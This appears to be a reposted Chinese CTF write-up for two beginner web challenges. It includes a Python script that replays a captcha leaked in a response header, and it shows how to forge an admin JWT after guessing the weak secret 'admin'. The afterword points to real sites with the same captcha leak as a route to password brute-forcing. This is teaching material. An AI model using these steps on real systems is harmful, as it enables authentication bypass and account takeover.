【ZJNU第六届CTF院赛暨CTF集训队招新 B组 WEB题解】

您所在的位置:网站首页 奶块脚本源代码 【ZJNU第六届CTF院赛暨CTF集训队招新 B组 WEB题解】

【ZJNU第六届CTF院赛暨CTF集训队招新 B组 WEB题解】

2023-04-06 03:13| 来源: 网络整理| 查看: 265

前言

本次出题真的很简单,因为考虑到了时间只有两个半小时所以将题目大半部分都删除了,都只留下了开头的小部分(真的真的) 让我们步入正题:看一看这两道简单的签到题 web1 令人头疼的验证码

首先打开题目

看到这个页面是否突然 并且题目提示 验证码区分大小写 难度是否感觉骤增。这时候要放心毕竟只有2个半小时的比赛,出题人不会出一道折磨你的题(相信我) 步入正题:这道题 有两种解法

第一种:机器学习 轻松解决,在这里不做这种解法的详细说明(例如: caffe 机器学习) 第二种: 也是本题的预期解法

首先 在 index.php 的 header 中发现一个 Flag: 以及 在 captcha.php 的 header 中发现 captcha:wFFH(这是重点啊!!!验证码都告诉你了)

接下来写脚本跑一下

#encoding=utf-8 from requests import * urlhead ='xxx' url = urlhead+'captcha.php?0.5454454929338202' kk = session() flag = '' for i in range(91): print(i) code = kk.get(url) data = { "validate": code.headers['captcha'] } b = kk.post(urlhead,data=data) if "flag" in b.text: print(b.text)

结果并没有发现flag

接下来让我们联想到之前的header 中的 Flag: 于是我们开始改进脚本

#encoding=utf-8 from requests import * import base64 urlhead = 'xxx' url = urlhead+'captcha.php?0.5454454929338202' kk = session() flag = '' for i in range(91): print(i) code = kk.get(url) data = { "validate": code.headers['captcha'] } b = kk.post(urlhead,data=data) if len(b.headers['Flag'])>=2: flag+=(b.headers['Flag']) print(base64.b64decode(flag) )

就能得到flag flag{HeaDer_is_s0_Go0D1s}

web2 简单的登录签到

这道题拿到手后发现是一个登录界面 随意输入账号密码 后发现提示只有admin才能得到flag 并且admin 禁止输入 同时我们在返回头发现异常cookie PHPSESSID=ZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5Sm1iR0ZuSWpvaUlpd2lkWE5sY2lJNklqRXlNeUlzSW5ScGJXVWlPaUl4TlRNNU9ETTVNVEV6SW4wLkZxWEdWaEZwVnlYa0FWeXIyZkZBTjVwSG1zOVNWZE9FbllJaFFzNU42OHc= 这里仔细观察能发现是base64的编码 我们进行base64解码后发现数据格式为: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiIiwidXNlciI6IjEyMyIsInRpbWUiOiIxNTM5ODM5MTEzIn0.FqXGVhFpVyXkAVyr2fFAN5pHms9SVdOEnYIhQs5N68w 【当我们遇到没见过的数据时候可以拿去百度】

大家千万不要这样

这段数据是jwt(Json web token)鉴权 https://jwt.io/ 那么我们可以通过模拟cookie为admin的数据来绕过认证获取cookie jwt的格式为: Header.Payload.Signature( Header 头部 Payload 负载 Signature 签名) 例如上面这段数据,解析结果如下

HEADER: { "alg": "HS256", "typ": "JWT" } PAYLOAD: { "flag": "", "user": "123", "time": "1539839113" } VERIFY SIGNATURE HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret # 这段密码是未知的 )

因为题目表示为签到题

于是我们可以尝试爆破来获取secret 或者直接将admin放入尝试(在比赛中可以将题目中给出的信息加入字典进行尝试) 本次secret 是admin 接下来构造user 为 admin 的payload (可以直接用jwt.io 这个网站进行构造) 构造的payload如下 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmbGFnIjoiIiwidXNlciI6ImFkbWluIiwidGltZSI6IjE1Mzk4MzkxMTMifQ.B5_wDBZgvYPTbDAaD3kddWLLfdyLfNRB1BaD2uOgXjk 然后base64 放入cookie中提交即可看到flag flag{i_L1ke_pytH0n_so_so_much_eaSy}

题外话:

对于web1 这是之前在挖洞的时候发现有部分网站的验证码的值直接通过json返回,然后前端js验证(虽然很多网站忽略这个洞,然后偷偷的修正)但是我们可以通过这个进行更深层次的操作,比如查看能不能通过这个去爆破用户密码等等。

当然机器学习的也是可以的,毕竟这个验证码也是很简单的类型

对于web2 这个题目 我是从之前写的web中提出来的一小部分。只是考验了简单的搜索能力以及遇到新知识的学习能力(事前了解到大部分同学都不知道jwt) 后续比如模板注入这些都删去了 所以flag中的 i_L1ke_pytH0n 和题目没什么关联 (不要吐槽flag内容哈) 这道题还有一点需要大家注意 这道题是通过python写的 并且在登录回显中有user的回显 那么我们应该要尝试下模板注入是否可行(之前我在群里也发过一道简单的模板注入入门题目,可惜没人去做) 至于如何看出是python 的 (如果有视频教学时候详细说明)

最后友情提示



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3